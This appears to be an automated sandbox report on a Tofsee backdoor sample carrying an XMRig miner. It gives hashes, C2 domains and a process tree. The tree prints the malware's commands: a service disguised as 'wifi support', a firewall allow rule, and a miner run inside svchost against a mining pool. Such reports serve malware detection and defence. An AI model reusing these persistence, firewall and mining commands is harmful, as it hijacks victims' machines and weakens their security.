Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    05-06-2022 06:12

General

  • Target

    8c3e82f9eb8fa6b814aa24171c60d3b0c5e8e70d44ad260034c9a4acd9a55484.exe

  • Size

    309KB

  • MD5

    9dd923205102d1b2d4da4b597e2a4ede

  • SHA1

    f42ab9033312a59ed05c17b768ee065e9cee5526

  • SHA256

    8c3e82f9eb8fa6b814aa24171c60d3b0c5e8e70d44ad260034c9a4acd9a55484

  • SHA512

    a8f5d5ff19d44279ebfef33a5855edbc370b0a9cfe14b244a938e3da2ccf8dd57ed9e746986473a3880f2bb9476ce2933f5a67444825995f3c354302868850d5

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8c3e82f9eb8fa6b814aa24171c60d3b0c5e8e70d44ad260034c9a4acd9a55484.exe
    "C:\Users\Admin\AppData\Local\Temp\8c3e82f9eb8fa6b814aa24171c60d3b0c5e8e70d44ad260034c9a4acd9a55484.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:312
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\abnymvz\
      2⤵
        PID:3136
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\racusxij.exe" C:\Windows\SysWOW64\abnymvz\
        2⤵
          PID:3464
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create abnymvz binPath= "C:\Windows\SysWOW64\abnymvz\racusxij.exe /d\"C:\Users\Admin\AppData\Local\Temp\8c3e82f9eb8fa6b814aa24171c60d3b0c5e8e70d44ad260034c9a4acd9a55484.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4728
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description abnymvz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4992
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start abnymvz
          2⤵
          • Launches sc.exe
          PID:4752
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3964
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 312 -s 648
          2⤵
          • Program crash
          PID:4456
      • C:\Windows\SysWOW64\abnymvz\racusxij.exe
        C:\Windows\SysWOW64\abnymvz\racusxij.exe /d"C:\Users\Admin\AppData\Local\Temp\8c3e82f9eb8fa6b814aa24171c60d3b0c5e8e70d44ad260034c9a4acd9a55484.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2360
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4536
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3324
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2360 -s 512
          2⤵
          • Program crash
          PID:3440
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 312 -ip 312
        1⤵
          PID:4424
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2360 -ip 2360
          1⤵
            PID:4968

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\racusxij.exe
            Filesize

            12.9MB

            MD5

            8d85a29964892cf4fd3532122dff2d2b

            SHA1

            64d840fb3557be609d6adbf5080e8dfd7cf9ab42

            SHA256

            6d890815c0ff56d2676212903da9bc2a805f88e67a19482169e549a8d4ab3175

            SHA512

            2acfb068dbdc6b7769a8987f55081e9c4d4f35c176b575e04abdd2b2c578959d2b9f57fa47685bd09b7bf2244664adf5bfc43f2c35ff0be1187275c3e15df6e9

          • C:\Windows\SysWOW64\abnymvz\racusxij.exe
            Filesize

            12.9MB

            MD5

            8d85a29964892cf4fd3532122dff2d2b

            SHA1

            64d840fb3557be609d6adbf5080e8dfd7cf9ab42

            SHA256

            6d890815c0ff56d2676212903da9bc2a805f88e67a19482169e549a8d4ab3175

            SHA512

            2acfb068dbdc6b7769a8987f55081e9c4d4f35c176b575e04abdd2b2c578959d2b9f57fa47685bd09b7bf2244664adf5bfc43f2c35ff0be1187275c3e15df6e9

          • memory/312-131-0x0000000002120000-0x0000000002133000-memory.dmp
            Filesize

            76KB

          • memory/312-132-0x0000000000400000-0x00000000004F3000-memory.dmp
            Filesize

            972KB

          • memory/312-130-0x0000000000552000-0x0000000000562000-memory.dmp
            Filesize

            64KB

          • memory/312-142-0x0000000000400000-0x00000000004F3000-memory.dmp
            Filesize

            972KB

          • memory/312-141-0x0000000000552000-0x0000000000562000-memory.dmp
            Filesize

            64KB

          • memory/2360-147-0x000000000069E000-0x00000000006AE000-memory.dmp
            Filesize

            64KB

          • memory/2360-148-0x0000000000400000-0x00000000004F3000-memory.dmp
            Filesize

            972KB

          • memory/3136-133-0x0000000000000000-mapping.dmp
          • memory/3324-169-0x0000000000000000-mapping.dmp
          • memory/3324-170-0x0000000000C80000-0x0000000000D71000-memory.dmp
            Filesize

            964KB

          • memory/3324-175-0x0000000000C80000-0x0000000000D71000-memory.dmp
            Filesize

            964KB

          • memory/3464-134-0x0000000000000000-mapping.dmp
          • memory/3964-140-0x0000000000000000-mapping.dmp
          • memory/4536-157-0x0000000001F60000-0x0000000001F70000-memory.dmp
            Filesize

            64KB

          • memory/4536-144-0x0000000000AD0000-0x0000000000AE5000-memory.dmp
            Filesize

            84KB

          • memory/4536-149-0x0000000000AD0000-0x0000000000AE5000-memory.dmp
            Filesize

            84KB

          • memory/4536-150-0x0000000000AD0000-0x0000000000AE5000-memory.dmp
            Filesize

            84KB

          • memory/4536-151-0x0000000002800000-0x0000000002A0F000-memory.dmp
            Filesize

            2.1MB

          • memory/4536-154-0x0000000000FF0000-0x0000000000FF6000-memory.dmp
            Filesize

            24KB

          • memory/4536-143-0x0000000000000000-mapping.dmp
          • memory/4536-160-0x0000000001FD0000-0x0000000001FD5000-memory.dmp
            Filesize

            20KB

          • memory/4536-163-0x0000000007800000-0x0000000007C0B000-memory.dmp
            Filesize

            4.0MB

          • memory/4536-166-0x0000000001FE0000-0x0000000001FE7000-memory.dmp
            Filesize

            28KB

          • memory/4728-136-0x0000000000000000-mapping.dmp
          • memory/4752-138-0x0000000000000000-mapping.dmp
          • memory/4992-137-0x0000000000000000-mapping.dmp